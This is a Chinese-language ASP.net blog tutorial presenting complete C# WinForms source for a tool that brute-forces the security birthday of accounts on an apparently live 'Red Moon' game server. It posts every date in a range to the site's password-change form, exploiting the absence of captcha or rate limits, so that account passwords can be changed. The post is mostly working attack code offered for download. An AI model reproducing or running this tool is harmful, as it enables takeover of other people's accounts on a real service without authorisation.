你的位置:首页 > ASP.net教程

[ASP.net教程]美服红月我接触的第一款网游,生日爆破


  这款游戏我已经很久没有玩了,但看了看我11年写的代码,再看看美服红月的网站 ,卧槽! 竟然还改版了,编译了一下程序,发现这些功能都莫名其妙的不能用了,网站地址换了,提交数据的接口变了,所以又更新了一版。

随着技术的更新,这个小工具也要跟着技术的一起强行升级一下,从net 2.0 升到4.5 。虽然样子有点挫,也懒得改了,但是这个核心功能就是 通过账号密码 暴力找生日,因为这款游戏比较古老估计只有80后才会记得,现在国内只有变态私服,相比较这个米国私服已经运营了长达9年,无外挂、全活人、全手动、GM对中国人很暴力。

  改密码的方式,只有生日可以改,通过正确的用户名和密码和生日登录网站,才能改密码,虽然自己账号已经不记得了. 但是没关系,以前朋友给的号还都在。

  原理很简单,就是枚举生日,提交请求到服务器,先看看表单和 请求地址和参数

 

表单有三个元素, 账号、密码、生日  ,用fiddler 查看

提交数据可以通过HttpWebRequest 和HttpWebResponse 来提交和接受返回信息,根据上面参数先来构造 提交数据的对象

  [JsonObject(Newtonsoft.Json.MemberSerialization.OptIn)]  public class CrackBirthdayModel  {    [JsonProperty]    public string account { get; set; }//账号    [JsonProperty]    public string password { get; set; }//密码    [JsonProperty]    public int month { get; set; }//月份    [JsonProperty]    public string day { get; set; }//日    [JsonProperty]    public int year { get; set; }//年    [JsonProperty]    public string submit { get { return "Submit"; } }//提交方式    [JsonIgnore]     public DateTime CreckDate { get; set; }  }

表单数据对象

然后我们在构造我们需要提交的请求,通过构造表单对象数据,然后传入HttpHelper. PostAsync<T>(string url, T data, string refe) ,就可以完成模拟请求,尝试一次生日,由于网站没有任何验证码和次数限制,所以我们就可以疯狂的提交尝试。

using Newtonsoft.Json;using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Net;using System.Text;using System.Threading.Tasks;namespace RedMoonBirthRecovery{  public class HttpHelper  {    /// <summary>    /// post 提交非异步    /// </summary>    /// <param name="url">登录的url</param>    /// <param name="data">登录url的参数.可用http工具获取. </param>    /// <param name="refe">登录后的网站地址.</param>    /// <returns></returns>    public static string Post<T>(string url, T data, string refe)    {      string result = string.Empty;      try      {        string postData = BuildRequestBody(data);        CookieContainer cc = new CookieContainer();        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);        request.Method = "POST";        request.ContentType = "application/x-www-form-urlencoded";        request.CookieContainer = cc;        request.ContentLength = postData.Length;        request.Referer = refe;        using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default))        {          writer.Write(postData);          writer.Flush();        }        using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())        {          StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);          result = reader.ReadToEnd();        }      }      catch (Exception ex)      {        throw ex;      }      return result;    }    /// <summary>    /// Post 提交数据    /// </summary>    /// <typeparam name="T">需要转换参数的类</typeparam>    /// <param name="url">请求URL地址</param>    /// <param name="data">要提交的数据</param>    /// <param name="refe">Referer 前一个页面的地址</param>    /// <returns></returns>    public static Task<string> PostAsync<T>(string url, T data, string refe)    {      string result = string.Empty;      return Task.Run<string>(() =>      {        try        {          string postData = BuildRequestBody(data);          CookieContainer cc = new CookieContainer();          HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);          request.Method = "POST";          request.ContentType = "application/x-www-form-urlencoded";          request.CookieContainer = cc;          request.ContentLength = postData.Length;          request.Referer = refe;          using (StreamWriter writer = new StreamWriter(request.GetRequestStream(), Encoding.Default))          {            writer.Write(postData);            writer.Flush();          }          using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())          {            StreamReader reader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);            result = reader.ReadToEnd();          }        }        catch (Exception ex)        {          throw ex;        }        return result;      });    }    /// <summary>    /// 通过将传入的对象转换为request 提交的参数    /// </summary>    /// <typeparam name="T">对象类型</typeparam>    /// <param name="t">传入的对象</param>    /// <returns></returns>    public static string BuildRequestBody<T>(T t)    {      string result = string.Empty;      if (t != null)      {        string obj = JsonConvert.SerializeObject(t);        Dictionary<string, string> dic = JsonConvert.DeserializeObject<Dictionary<string, string>>(obj);        if (dic.Keys.Count > 0)        {          foreach (var key in dic.Keys)          {            result += key + "=" + dic[key] + "&";          }          int lastAnd = result.LastIndexOf("&");          if (lastAnd > 0)          {            result = result.Substring(0, lastAnd);          }        }      }      return result;    }  }}

HttpHelper

表单很简单,样貌如下

 

由于是winform的程序,所以不得不扯到UI 异步刷新的问题, 11年写的那一版是多线程的,但莫名其妙就不能运行了,也是日了狗了,所以强行把以前的多线程改成了 async异步 方式,但是问题就来了,多线程 可以暂停 和恢复,但是异步只是异步,不能暂停。于是就有了这样的具体思路 :1、根据日期范围构造所有请求对象,2、强对象加入需要异步提交的队列中,3、提交时 记录提交的位置顺序来实现暂停和重置(也可以使用序列化的方式保存队列的对象)

  public class CrackTaskModel  {    /// <summary>    /// 开始时间    /// </summary>    public DateTime beginDate { get; set; }    /// <summary>    /// 结束时间    /// </summary>    public DateTime endDate { get; set; }    /// <summary>    /// 所有要提交破解的生日    /// </summary>    public List<CrackBirthdayModel> creakRequests { get; set; }    /// <summary>    /// 执行的顺序    /// </summary>    public int currentIndex { get; set; }    /// <summary>    /// 标记当前是否继续运行    /// </summary>    public bool state { get; set; }  }

数据提交队列

 

在UI上控制队列对象的state 标记来让循环中断实现暂停和继续

 public partial class BithRecovery : Form  {    public BithRecovery()    {      InitializeComponent();    }    /// <summary>    /// 提交数据队列    /// </summary>    public CrackTaskModel crackTask = null;    /// <summary>    /// 开始按钮    /// </summary>    /// <param name="sender"></param>    /// <param name="e"></param>    private async void btnPost_Click(object sender, EventArgs e)    {      DateTime start = DateTime.Parse("1900/01/01");      DateTime end = DateTime.Parse("1900/01/01");      bool isok = DateTime.TryParse(dtpBeginDay.Text, out start) && DateTime.TryParse(dtpEndDay.Text, out end);      if (isok && end >= start)      {        this.btnPost.Enabled = false;        //生成破解日期        MakeBirth(dtpBeginDay.Text, dtpEndDay.Text);        if (crackTask != null && crackTask.creakRequests.Count > 0)        {          await CrackLoop();        }      }      else      {        MessageBox.Show("截至日期需要大于起始日期");      }    }    /// <summary>    /// 暂停和恢复    /// </summary>    /// <param name="sender"></param>    /// <param name="e"></param>    private async void btnStop_Click(object sender, EventArgs e)    {      if (btnStop.Text == "暂停")      {        stopCrack();        btnStop.Text = "继续";      }      else if (btnStop.Text == "继续")      {        if (crackTask != null && crackTask.creakRequests.Count > 0)        {          btnStop.Text = "暂停";          crackTask.state = false;          await CrackLoop();        }      }      btnPost.Enabled = false;    }    /// <summary>    /// 暂停队列    /// </summary>    public void stopCrack()    {      if (crackTask != null && crackTask.creakRequests.Count > 0)      {        //暂停提交        crackTask.state = true;      }    }    /// <summary>    /// 重置队列    /// </summary>    /// <param name="sender"></param>    /// <param name="e"></param>    private void btnReset_Click(object sender, EventArgs e)    {      stopCrack();      crackTask = null;      btnStop.Text = "暂停";      btnPost.Enabled = true;    }    /// <summary>    /// 异步请求    /// </summary>    /// <returns></returns>    public async Task CrackLoop()    {      if (crackTask != null)      {        for (; crackTask.currentIndex < crackTask.creakRequests.Count; crackTask.currentIndex++)        {          ///如果状态变了,停止循环          if (crackTask.state)          {            break;          }          var task = crackTask.creakRequests[crackTask.currentIndex];          int shengyu = crackTask.creakRequests.Count - 1 - crackTask.currentIndex;          lblStatus.Text = "当前" + task.CreckDate.ToString("yyyy-MM-dd") + "\t 已经尝试了" + (crackTask.currentIndex) + "次/还剩" + shengyu;          bool isok = await CrackBirth(task);          if (isok)          {            lblStatus.Text = "正确生日是:" + task.CreckDate.ToString("yyyy-MM-dd");            break;          }          if (shengyu == 0)          {            lblStatus.Text = "很遗憾没有为你找到账号的生日";          }        }      }    }    /// <summary>    /// 生成生日密码字典    /// </summary>    /// <param name="beginBirth">开始日期</param>    /// <param name="endbirth">结束日期</param>    /// <returns></returns>    public void MakeBirth(string beginBirth, string endbirth)    {      DateTime bdate = new DateTime();      DateTime edate = new DateTime();      bool isConverted = DateTime.TryParse(beginBirth, out bdate) && DateTime.TryParse(endbirth, out edate);      if (isConverted)      {        ///构造所有请求生日的数据        crackTask = new CrackTaskModel { beginDate = bdate, endDate = edate, currentIndex = 0, state = false };        crackTask.creakRequests = new List<CrackBirthdayModel>();        TimeSpan minusdays = edate - bdate;        for (int i = 0; i <= minusdays.Days; i++)        {          var birth = bdate.AddDays(i);          crackTask.creakRequests.Add(new CrackBirthdayModel          {            account = txtaccount.Text,            password = txtPass.Text,            month = birth.Month,            day = birth.ToString("dd"),            year = birth.Year,            CreckDate = birth          });        }      }    }     /// <summary>    /// 尝试猜解生日    /// </summary>    /// <param name="crackBirth">生日请求对象</param>    /// <returns></returns>    public async Task<bool> CrackBirth(CrackBirthdayModel crackBirth)    {      bool ResponseResult = false;      return await Task.Run<bool>(async () =>       {         ///等待提交返回结果         string result = await HttpHelper.PostAsync<CrackBirthdayModel>(RedmoonUri.crackBirthday, crackBirth, RedmoonUri.crackBirthday);         if (result.Contains("Login"))         {           ResponseResult = false;         }         else if (result.Contains("Welcome"))         {           ResponseResult = true;         }         result = string.Empty;         return ResponseResult;       });    }}

程序UI代码

到此我们的破解之路看看效果吧

 

找到生日了就可以去改密码,咱也不用正在FV刷图 被基友踢下线,现在已经不玩这个游戏了,但是偶尔还是会想去怀念一下初中时代的那种感觉。

 

需要程序代码在github上下载: https://github.com/shan333chao/RedmoonClassicTool 

晒一张游戏的图